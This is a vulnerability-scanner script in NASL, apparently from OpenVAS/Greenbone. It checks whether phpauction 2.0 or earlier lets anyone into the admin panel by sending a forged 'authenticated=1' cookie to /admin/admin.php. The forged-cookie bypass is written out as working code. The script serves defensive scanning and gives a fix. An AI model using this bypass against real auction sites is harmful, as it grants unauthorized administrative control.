phpauction Admin Authentication Bypass

# SPDX-FileCopyrightText: 2005 Tobias Glemser ([email protected])
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.19239");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("phpauction Admin Authentication Bypass");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2005 Tobias Glemser ([email protected])");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade to a version > 2.0 of this software and/or restrict access
  rights to the administrative directory using .htaccess.");

  script_tag(name:"summary", value:"The remote host is running phpauction prior or equal to 2.0 (or a modified
  version).

  There is a flaw when handling cookie-based authentication credentials which
  may allow an attacker to gain unauthorized administrative access to the
  auction system.");

  script_xref(name:"URL", value:"http://pentest.tele-consulting.com/advisories/04_12_21_phpauction.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12069");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

foreach dir(make_list_unique( "/", "/phpauction", "/auction", "/auktion", http_cgi_dirs(port:port))) {

  if( dir == "/" )
    dir = "";

  url = dir + "/admin/admin.php";
  res = http_get_cache(item:url, port:port);

  if(!res || "settings.php" >< res || "durations.php" >< res || ("main.php" >< res && "<title>Administration</title>" >< res))
    continue;

  req = http_get(item:url, port:port);
  idx = stridx(req, string("\r\n\r\n"));
  req = insstr(req, '\r\nCookie: authenticated=1;', idx, idx);
  res = http_keepalive_send_recv(port:port, data:req);
  if(!res)
    continue;

  if("settings.php" >< res || "durations.php" >< res || ("main.php" >< res && "<title>Administration</title>" >< res)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);